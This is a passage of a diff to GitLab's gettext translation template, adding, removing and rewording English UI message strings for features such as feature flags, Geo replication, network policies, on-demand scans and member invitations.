msgstr ""
@@ -9909,9 +10231,6 @@ msgstr ""
msgid "Expand sidebar"
msgstr ""
-msgid "Expand up"
-msgstr ""
-
msgid "Expected documents: %{expected_documents}"
msgstr ""
@@ -9924,9 +10243,6 @@ msgstr ""
msgid "Expiration date"
msgstr ""
-msgid "Expiration not enforced"
-msgstr ""
-
msgid "Expired"
msgstr ""
@@ -10358,12 +10674,18 @@ msgstr ""
msgid "FeatureFlags|Flag becomes read only soon"
msgstr ""
+msgid "FeatureFlags|Flag is read-only"
+msgstr ""
+
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags, and in 13.4, this feature flag will become read-only. Please create a new feature flag."
msgstr ""
+msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
+msgstr ""
+
msgid "FeatureFlags|ID"
msgstr ""
@@ -10448,6 +10770,9 @@ msgstr ""
msgid "FeatureFlags|There was an error retrieving user lists"
msgstr ""
+msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
+msgstr ""
+
msgid "FeatureFlags|Try again in a few moments or contact your support team."
msgstr ""
@@ -10457,9 +10782,6 @@ msgstr ""
msgid "FeatureFlags|User List"
msgstr ""
-msgid "FeatureFlag|Delete strategy"
-msgstr ""
-
msgid "FeatureFlag|List"
msgstr ""
@@ -10499,6 +10821,9 @@ msgstr ""
msgid "File"
msgstr ""
+msgid "File %{current} of %{total}"
+msgstr ""
+
msgid "File Hooks"
msgstr ""
@@ -10724,6 +11049,9 @@ msgstr ""
msgid "Footer message"
msgstr ""
+msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
msgid "For internal projects, any logged in user can view pipelines and access job details (output logs and artifacts)"
msgstr ""
@@ -10895,30 +11223,15 @@ msgstr ""
msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
msgstr ""
-msgid "GeoNodes|Attachments"
-msgstr ""
-
-msgid "GeoNodes|Checksummed"
-msgstr ""
-
msgid "GeoNodes|Consult Geo troubleshooting information"
msgstr ""
-msgid "GeoNodes|Container repositories"
-msgstr ""
-
msgid "GeoNodes|Data replication lag"
msgstr ""
-msgid "GeoNodes|Design repositories"
-msgstr ""
-
msgid "GeoNodes|Does not match the primary storage configuration"
msgstr ""
-msgid "GeoNodes|Failed"
-msgstr ""
-
msgid "GeoNodes|Full"
msgstr ""
@@ -10934,12 +11247,6 @@ msgstr ""
msgid "GeoNodes|Internal URL"
msgstr ""
-msgid "GeoNodes|Job artifacts"
-msgstr ""
-
-msgid "GeoNodes|LFS objects"
-msgstr ""
-
msgid "GeoNodes|Last event ID processed by cursor"
msgstr ""
@@ -10967,12 +11274,6 @@ msgstr ""
msgid "GeoNodes|Node's status was updated %{timeAgo}."
msgstr ""
-msgid "GeoNodes|Not checksummed"
-msgstr ""
-
-msgid "GeoNodes|Package files"
-msgstr ""
-
msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
msgstr ""
@@ -10994,15 +11295,6 @@ msgstr ""
msgid "GeoNodes|Replication status"
msgstr ""
-msgid "GeoNodes|Repositories"
-msgstr ""
-
-msgid "GeoNodes|Repository checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Repository verification progress"
-msgstr ""
-
msgid "GeoNodes|Selective (%{syncLabel})"
msgstr ""
@@ -11030,27 +11322,12 @@ msgstr ""
msgid "GeoNodes|Unused slots"
msgstr ""
-msgid "GeoNodes|Unverified"
-msgstr ""
-
msgid "GeoNodes|Updated %{timeAgo}"
msgstr ""
msgid "GeoNodes|Used slots"
msgstr ""
-msgid "GeoNodes|Verified"
-msgstr ""
-
-msgid "GeoNodes|Wiki checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Wiki verification progress"
-msgstr ""
-
-msgid "GeoNodes|Wikis"
-msgstr ""
-
msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
msgstr ""
@@ -11063,6 +11340,12 @@ msgstr ""
msgid "GeoNodes|secondary nodes"
msgstr ""
+msgid "Geo|%{itemTitle} checksum progress"
+msgstr ""
+
+msgid "Geo|%{itemTitle} verification progress"
+msgstr ""
+
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -11126,6 +11409,12 @@ msgstr ""
msgid "Geo|Geo Status"
msgstr ""
+msgid "Geo|Go to the primary site"
+msgstr ""
+
+msgid "Geo|If you want to make changes, you must visit the primary site."
+msgstr ""
+
msgid "Geo|In progress"
msgstr ""
@@ -11258,10 +11547,10 @@ msgstr ""
msgid "Geo|Waiting for scheduler"
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. If you want to make changes, you must visit this page on the %{node_link_open}primary node%{node_link_close}."
+msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node."
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
+msgid "Geo|You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
msgstr ""
msgid "Geo|misconfigured"
@@ -11438,7 +11727,7 @@ msgstr ""
msgid "GitLabPages|Force HTTPS (requires valid certificates)"
msgstr ""
-msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings > General > Visibility%{strong_end} page."
+msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
@@ -11555,7 +11844,10 @@ msgstr ""
msgid "Go to %{link_to_google_takeout}."
msgstr ""
-msgid "Go to <strong>Issues</strong> > <strong>Boards</strong> to access your personalized learning issue board."
+msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
+msgstr ""
+
+msgid "Go to Integrations"
msgstr ""
msgid "Go to Webhooks"
@@ -11837,6 +12129,9 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
+msgid "Group push rule exists, try updating"
+msgstr ""
+
msgid "Group requires separate account"
msgstr ""
@@ -12113,7 +12408,7 @@ msgstr ""
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day waiting period. This period can be %{customization_link} in instance settings"
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{customization_link} in instance settings"
msgstr ""
msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
@@ -12326,6 +12621,9 @@ msgstr ""
msgid "Health status"
msgstr ""
+msgid "Health status cannot be edited because this issue is closed"
+msgstr ""
+
msgid "HealthCheck|Access token is"
msgstr ""
@@ -12341,6 +12639,9 @@ msgstr ""
msgid "Hello there"
msgstr ""
+msgid "Hello, %{username}!"
+msgstr ""
+
msgid "Help"
msgstr ""
@@ -12471,6 +12772,9 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
+msgid "How to upgrade"
+msgstr ""
+
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -12627,6 +12931,12 @@ msgstr ""
msgid "If you remove this license, GitLab will fall back on the previous license, if any."
msgstr ""
+msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -12780,6 +13090,9 @@ msgstr ""
msgid "ImportProjects|Importing the project failed: %{reason}"
msgstr ""
+msgid "ImportProjects|Requesting namespaces failed"
+msgstr ""
+
msgid "ImportProjects|Requesting your %{provider} repositories failed"
msgstr ""
@@ -12795,6 +13108,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Improve Issue Boards"
+msgstr ""
+
msgid "Improve Issue boards"
msgstr ""
@@ -12807,13 +13123,13 @@ msgstr ""
msgid "Improve customer support with GitLab Service Desk."
msgstr ""
-msgid "Improve search with Advanced Global Search and GitLab Enterprise Edition."
+msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
msgid "In %{time_to_now}"
msgstr ""
-msgid "In order to enable instance-level analytics, please ask an admin to enable %{usage_ping_link_start}usage ping%{usage_ping_link_end}."
+msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
msgstr ""
msgid "In order to gather accurate feature usage data, it can take 1 to 2 weeks to see your index."
@@ -12822,21 +13138,24 @@ msgstr ""
msgid "In order to personalize your experience with GitLab%{br_tag}we would like to know a bit more about you."
msgstr ""
-msgid "In order to tailor your experience with GitLab we%{br_tag}would like to know a bit more about you."
-msgstr ""
-
msgid "In progress"
msgstr ""
msgid "In the next step, you'll be able to select the projects you want to import."
msgstr ""
+msgid "Incident"
+msgstr ""
+
msgid "Incident Management Limits"
msgstr ""
msgid "IncidentManagement|All"
msgstr ""
+msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgstr ""
+
msgid "IncidentManagement|Assignees"
msgstr ""
@@ -12849,6 +13168,9 @@ msgstr ""
msgid "IncidentManagement|Date created"
msgstr ""
+msgid "IncidentManagement|Display your incidents in a dedicated view"
+msgstr ""
+
msgid "IncidentManagement|Incident"
msgstr ""
@@ -12867,6 +13189,9 @@ msgstr ""
msgid "IncidentManagement|Published to status page"
msgstr ""
+msgid "IncidentManagement|There are no closed incidents"
+msgstr ""
+
msgid "IncidentManagement|There was an error displaying the incidents."
msgstr ""
@@ -12942,6 +13267,9 @@ msgstr ""
msgid "Index all projects"
msgstr ""
+msgid "Index deletion is canceled"
+msgstr ""
+
msgid "Indicates whether this runner can pick jobs without tags"
msgstr ""
@@ -13008,6 +13336,9 @@ msgstr ""
msgid "Install on clusters"
msgstr ""
+msgid "Installation"
+msgstr ""
+
msgid "Installed"
msgstr ""
@@ -13022,7 +13353,7 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics visibility"
+msgid "Instance Statistics"
msgstr ""
msgid "Instance administrators group already exists"
@@ -13049,6 +13380,12 @@ msgstr ""
msgid "Integrations|Comment settings:"
msgstr ""
+msgid "Integrations|Default settings are inherited from the group level."
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the instance level."
+msgstr ""
+
msgid "Integrations|Enable comments"
msgstr ""
@@ -13061,13 +13398,10 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
-msgid "Integrations|This integration has multiple settings available."
-msgstr ""
-
msgid "Integrations|Use custom settings"
msgstr ""
-msgid "Integrations|Use instance level settings"
+msgid "Integrations|Use default settings"
msgstr ""
msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created."
@@ -13097,7 +13431,7 @@ msgstr ""
msgid "Introducing Value Stream Analytics"
msgstr ""
-msgid "Introducing Your DevOps Score"
+msgid "Introducing Your DevOps Report"
msgstr ""
msgid "Invalid Git ref"
@@ -13109,9 +13443,15 @@ msgstr ""
msgid "Invalid Login or password"
msgstr ""
+msgid "Invalid OS"
+msgstr ""
+
msgid "Invalid URL"
msgstr ""
+msgid "Invalid board"
+msgstr ""
+
msgid "Invalid container_name"
msgstr ""
@@ -13208,6 +13548,39 @@ msgstr ""
msgid "Invite teammates (optional)"
msgstr ""
+msgid "InviteEmail|%{inviter} invited you"
+msgstr ""
+
+msgid "InviteEmail|%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|Join now"
+msgstr ""
+
+msgid "InviteEmail|You are invited!"
+msgstr ""
+
+msgid "InviteEmail|You have been invited"
+msgstr ""
+
+msgid "InviteEmail|to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|to join the %{strong_start}%{project_or_group_name}%{strong_end}"
+msgstr ""
+
+msgid "InviteMembersBanner|Collaborate with your team"
+msgstr ""
+
+msgid "InviteMembersBanner|Invite your colleagues"
+msgstr ""
+
+msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
+msgstr ""
+
+msgid "Invited"
+msgstr ""
+
msgid "Invited users will be added with developer level permissions. You can always change this later."
msgstr ""
@@ -13247,6 +13620,9 @@ msgstr ""
msgid "Issue %{issue_reference} has already been added to epic %{epic_reference}."
msgstr ""
+msgid "Issue Analytics"
+msgstr ""
+
msgid "Issue Boards"
msgstr ""
@@ -13346,9 +13722,6 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues Analytics"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
@@ -13490,6 +13863,9 @@ msgstr ""
msgid "JiraService| on branch %{branch_link}"
msgstr ""
+msgid "JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab."
+msgstr ""
+
msgid "JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}"
msgstr ""
@@ -13532,6 +13908,9 @@ msgstr ""
msgid "JiraService|Password or API token"
msgstr ""
+msgid "JiraService|This feature requires a Premium plan."
+msgstr ""
+
msgid "JiraService|Transition ID(s)"
msgstr ""
@@ -13547,6 +13926,9 @@ msgstr ""
msgid "JiraService|Username or Email"
msgstr ""
+msgid "JiraService|Using Jira for issue tracking?"
+msgstr ""
+
msgid "JiraService|View Jira issues in GitLab"
msgstr ""
@@ -13835,7 +14217,7 @@ msgstr ""
msgid "Labels can be applied to issues and merge requests."
msgstr ""
-msgid "Labels|<span>Promote label</span> %{labelTitle} <span>to Group Label?</span>"
+msgid "Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}"
msgstr ""
msgid "Labels|Promote Label"
@@ -14065,7 +14447,7 @@ msgstr ""
msgid "License ID:"
msgstr ""
-msgid "License URL"
+msgid "License overview"
msgstr ""
msgid "License-Check"
@@ -14164,10 +14546,10 @@ msgstr ""
msgid "LicenseCompliance|Remove license?"
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses in this project."
+msgid "LicenseCompliance|There are currently no policies in this project."
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses that match in this project."
+msgid "LicenseCompliance|There are currently no policies that match in this project."
msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
@@ -14194,6 +14576,9 @@ msgstr ""
msgid "Licensed to"
msgstr ""
+msgid "Licensed to:"
+msgstr ""
+
msgid "Licenses"
msgstr ""
@@ -14257,9 +14642,6 @@ msgstr ""
msgid "License|License"
msgstr ""
-msgid "License|Licensed user count exceeded"
-msgstr ""
-
msgid "License|You can restore access to the Gold features at any time by upgrading."
msgstr ""
@@ -14275,9 +14657,6 @@ msgstr ""
msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
msgstr ""
-msgid "License|Your instance has exceeded your subscription's number of licensed users by %{extra_users_count}. You can continue to add more users and we'll include the overage in your next bill."
-msgstr ""
-
msgid "Limit display of time tracking units to hours."
msgstr ""
@@ -14331,6 +14710,9 @@ msgstr ""
msgid "List available repositories"
msgstr ""
+msgid "List of all merge commits"
+msgstr ""
+
msgid "List settings"
msgstr ""
@@ -14352,6 +14734,9 @@ msgstr ""
msgid "Load more"
msgstr ""
+msgid "Load more users"
+msgstr ""
+
msgid "Loading"
msgstr ""
@@ -14403,7 +14788,7 @@ msgstr ""
msgid "Lock the discussion"
msgstr ""
-msgid "Lock this %{issuableDisplayName}? Only <strong>project members</strong> will be able to comment."
+msgid "Lock this %{issuableDisplayName}? Only %{strongStart}project members%{strongEnd} will be able to comment."
msgstr ""
msgid "Lock to current projects"
@@ -14454,6 +14839,12 @@ msgstr ""
msgid "MERGED"
msgstr ""
+msgid "MR widget|Back to the Merge request"
+msgstr ""
+
+msgid "MR widget|See your pipeline in action"
+msgstr ""
+
msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
msgstr ""
@@ -14469,6 +14860,9 @@ msgstr ""
msgid "MRApprovals|Approvers"
msgstr ""
+msgid "MRApprovals|Commented by"
+msgstr ""
+
msgid "MRDiff|Show changes only"
msgstr ""
@@ -14553,9 +14947,6 @@ msgstr ""
msgid "Manifest import"
msgstr ""
-msgid "Manual job"
-msgstr ""
-
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -14667,9 +15058,6 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
-msgid "Maven Metadata"
-msgstr ""
-
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -14805,6 +15193,15 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
+msgid "Members invited to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
+msgid "Members of %{group} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "Members of %{group} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "Members of %{strong_open}%{project_name}%{strong_close}"
msgstr ""
@@ -14814,9 +15211,6 @@ msgstr ""
msgid "Members with access to %{strong_start}%{group_name}%{strong_end}"
msgstr ""
-msgid "Members with pending access to %{strong_start}%{group_name}%{strong_end}"
-msgstr ""
-
msgid "Memory Usage"
msgstr ""
@@ -14844,15 +15238,15 @@ msgstr ""
msgid "Merge Requests"
msgstr ""
-msgid "Merge Requests closed"
-msgstr ""
-
msgid "Merge Requests created"
msgstr ""
msgid "Merge Requests in Review"
msgstr ""
+msgid "Merge Requests merged"
+msgstr ""
+
msgid "Merge automatically (%{strategy})"
msgstr ""
@@ -14868,6 +15262,9 @@ msgstr ""
msgid "Merge in progress"
msgstr ""
+msgid "Merge locally"
+msgstr ""
+
msgid "Merge options"
msgstr ""
@@ -14931,6 +15328,27 @@ msgstr ""
msgid "MergeConflict|origin//their changes"
msgstr ""
+msgid "MergeRequestAnalytics|Assignees"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Date Merged"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Line changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Merge Request"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Milestone"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Pipelines"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Time to merge"
+msgstr ""
+
msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
msgstr ""
@@ -15063,6 +15481,12 @@ msgstr ""
msgid "MetricChart|Selected"
msgstr ""
+msgid "MetricChart|There is no data available. Please change your selection."
+msgstr ""
+
+msgid "MetricChart|There is too much data to calculate. Please change your selection."
+msgstr ""
+
msgid "Metrics"
msgstr ""
@@ -15165,6 +15589,12 @@ msgstr ""
msgid "Metrics|Check out the CI/CD documentation on deploying to an environment"
msgstr ""
+msgid "Metrics|Collapse panel"
+msgstr ""
+
+msgid "Metrics|Collapse panel (Esc)"
+msgstr ""
+
msgid "Metrics|Copy YAML"
msgstr ""
@@ -15174,9 +15604,6 @@ msgstr ""
msgid "Metrics|Create custom dashboard %{fileName}"
msgstr ""
-msgid "Metrics|Create dashboard"
-msgstr ""
-
msgid "Metrics|Create metric"
msgstr ""
@@ -15210,9 +15637,15 @@ msgstr ""
msgid "Metrics|Duplicate dashboard"
msgstr ""
+msgid "Metrics|Duplicate this dashboard to add panel or edit dashboard YAML."
+msgstr ""
+
msgid "Metrics|Duplicating..."
msgstr ""
+msgid "Metrics|Edit dashboard YAML"
+msgstr ""
+
msgid "Metrics|Edit metric"
msgid_plural "Metrics|Edit metrics"
msgstr[0] ""
@@ -15224,9 +15657,6 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
-msgid "Metrics|Go back (Esc)"
-msgstr ""
-
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -15254,6 +15684,9 @@ msgstr ""
msgid "Metrics|Min"
msgstr ""
+msgid "Metrics|More actions"
+msgstr ""
+
msgid "Metrics|Must be a valid PromQL query."
msgstr ""
@@ -15278,6 +15711,9 @@ msgstr ""
msgid "Metrics|Prometheus Query Documentation"
msgstr ""
+msgid "Metrics|Refresh Prometheus data"
+msgstr ""
+
msgid "Metrics|Refresh dashboard"
msgstr ""
@@ -15356,6 +15792,9 @@ msgstr ""
msgid "Metrics|View logs"
msgstr ""
+msgid "Metrics|View runbook - %{label}"
+msgstr ""
+
msgid "Metrics|Y-axis label"
msgstr ""
@@ -15406,12 +15845,18 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone does not support burnup charts"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
msgid "Milestone lists show all issues from the selected milestone."
msgstr ""
+msgid "Milestone must have a start and due date"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -15577,6 +16022,15 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Missing OAuth configuration for GitHub."
+msgstr ""
+
+msgid "Missing OS"
+msgstr ""
+
+msgid "Missing arch"
+msgstr ""
+
msgid "Missing commit signatures endpoint!"
msgstr ""
@@ -15622,6 +16076,9 @@ msgstr ""
msgid "Monitoring"
msgstr ""
+msgid "Month"
+msgstr ""
+
msgid "Months"
msgstr ""
@@ -15811,12 +16268,45 @@ msgstr ""
msgid "Network Policy|New rule"
msgstr ""
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is outbound to a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}Then%{labelEnd} %{action} %{spanStart}the network traffic.%{spanEnd}"
+msgstr ""
+
+msgid "NetworkPolicies|%{number} selected"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}all%{strongClose} pods"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}any%{strongClose} port"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml"
+msgstr ""
+
msgid "NetworkPolicies|.yaml mode"
msgstr ""
msgid "NetworkPolicies|Actions"
msgstr ""
+msgid "NetworkPolicies|All selected"
+msgstr ""
+
+msgid "NetworkPolicies|Allow"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
+msgstr ""
+
msgid "NetworkPolicies|Choose whether to enforce this policy."
msgstr ""
@@ -15826,6 +16316,9 @@ msgstr ""
msgid "NetworkPolicies|Define this policy's location, conditions and actions."
msgstr ""
+msgid "NetworkPolicies|Deny all traffic"
+msgstr ""
+
msgid "NetworkPolicies|Description"
msgstr ""
@@ -15838,6 +16331,9 @@ msgstr ""
msgid "NetworkPolicies|Environment does not have deployment platform"
msgstr ""
+msgid "NetworkPolicies|IP/subnet"
+msgstr ""
+
msgid "NetworkPolicies|If you are using Auto DevOps, your %{monospacedStart}auto-deploy-values.yaml%{monospacedEnd} file will not be updated if you change a policy in this section. Auto DevOps users should make changes by following the %{linkStart}Container Network Policy documentation%{linkEnd}."
msgstr ""
@@ -15856,12 +16352,18 @@ msgstr ""
msgid "NetworkPolicies|Network Policy"
msgstr ""
+msgid "NetworkPolicies|Network traffic"
+msgstr ""
+
msgid "NetworkPolicies|New policy"
msgstr ""
msgid "NetworkPolicies|No policies detected"
msgstr ""
+msgid "NetworkPolicies|None selected"
+msgstr ""
+
msgid "NetworkPolicies|Policies are a specification of how groups of pods are allowed to communicate with each other's network endpoints."
msgstr ""
@@ -15886,9 +16388,15 @@ msgstr ""
msgid "NetworkPolicies|Policy type"
msgstr ""
+msgid "NetworkPolicies|Rule"
+msgstr ""
+
msgid "NetworkPolicies|Rule mode"
msgstr ""
+msgid "NetworkPolicies|Rule mode is unavailable for this policy. In some cases, we cannot parse the YAML file back into the rules editor."
+msgstr ""
+
msgid "NetworkPolicies|Rules"
msgstr ""
@@ -15901,9 +16409,54 @@ msgstr ""
msgid "NetworkPolicies|Status"
msgstr ""
+msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
+msgstr ""
+
msgid "NetworkPolicies|YAML editor"
msgstr ""
+msgid "NetworkPolicies|all DNS names"
+msgstr ""
+
+msgid "NetworkPolicies|all IP addresses"
+msgstr ""
+
+msgid "NetworkPolicies|any pod"
+msgstr ""
+
+msgid "NetworkPolicies|any port"
+msgstr ""
+
+msgid "NetworkPolicies|domain name"
+msgstr ""
+
+msgid "NetworkPolicies|entity"
+msgstr ""
+
+msgid "NetworkPolicies|inbound to"
+msgstr ""
+
+msgid "NetworkPolicies|nowhere"
+msgstr ""
+
+msgid "NetworkPolicies|outbound from"
+msgstr ""
+
+msgid "NetworkPolicies|pod with labels"
+msgstr ""
+
+msgid "NetworkPolicies|pods %{pods}"
+msgstr ""
+
+msgid "NetworkPolicies|pods with labels"
+msgstr ""
+
+msgid "NetworkPolicies|ports %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|ports/protocols"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -16296,12 +16849,18 @@ msgstr ""
msgid "No required pipeline"
msgstr ""
+msgid "No runner executable"
+msgstr ""
+
msgid "No runners found"
msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No source selected"
+msgstr ""
+
msgid "No stack trace for this error"
msgstr ""
@@ -16389,18 +16948,12 @@ msgstr ""
msgid "Not started"
msgstr ""
-msgid "Not-confidential epic cannot be assigned to a confidential parent epic"
-msgstr ""
-
msgid "Note"
msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
-msgid "Note that PostgreSQL %{pg_version_upcoming} will become the minimum required version in GitLab %{gl_version_upcoming} (%{gl_version_upcoming_date}). Please consider upgrading your environment to a supported PostgreSQL version soon, see <a href=\"%{pg_version_upcoming_url}\">the related epic</a> for details."
-msgstr ""
-
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -16548,9 +17101,6 @@ msgstr ""
msgid "Novice"
msgstr ""
-msgid "Now you can access the merge request navigation tabs at the top, where they’re easier to find."
-msgstr ""
-
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
@@ -16590,9 +17140,6 @@ msgstr ""
msgid "Number of files touched"
msgstr ""
-msgid "OAuth configuration for GitHub missing."
-msgstr ""
-
msgid "OK"
msgstr ""
@@ -16635,21 +17182,27 @@ msgstr ""
msgid "OnDemandScans|Attached branch is where the scan job runs."
msgstr ""
+msgid "OnDemandScans|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not run the scan. Please try again."
msgstr ""
-msgid "OnDemandScans|Could not run the scan: %{backendErrorMessage}"
+msgid "OnDemandScans|Create a new site profile"
msgstr ""
msgid "OnDemandScans|Create new DAST scan"
msgstr ""
-msgid "OnDemandScans|DAST will scan the target URL and any discovered sub URLs."
+msgid "OnDemandScans|Manage profiles"
msgstr ""
msgid "OnDemandScans|New on-demand DAST scan"
msgstr ""
+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed site profile."
+msgstr ""
+
msgid "OnDemandScans|On-demand Scans"
msgstr ""
@@ -16659,25 +17212,31 @@ msgstr ""
msgid "OnDemandScans|Only a passive scan can be performed on demand."
msgstr ""
-msgid "OnDemandScans|Passive DAST Scan"
+msgid "OnDemandScans|Passive"
msgstr ""
-msgid "OnDemandScans|Please enter a valid URL format, ex: http://www.example.com/home"
+msgid "OnDemandScans|Run scan"
msgstr ""
-msgid "OnDemandScans|Run this scan"
+msgid "OnDemandScans|Scan mode"
msgstr ""
-msgid "OnDemandScans|Scan mode"
+msgid "OnDemandScans|Scanner settings"
msgstr ""
msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Target URL"
+msgid "OnDemandScans|Select one of the existing profiles"
+msgstr ""
+
+msgid "OnDemandScans|Site profiles"
+msgstr ""
+
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its respositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
+msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
msgid "Once a project is permanently deleted it cannot be recovered. You will lose this project's repository and all content: issues, merge requests etc."
@@ -16736,9 +17295,6 @@ msgstr ""
msgid "Only active this projects shows up in the search and on the dashboard."
msgstr ""
-msgid "Only admins"
-msgstr ""
-
msgid "Only admins can delete project"
msgstr ""
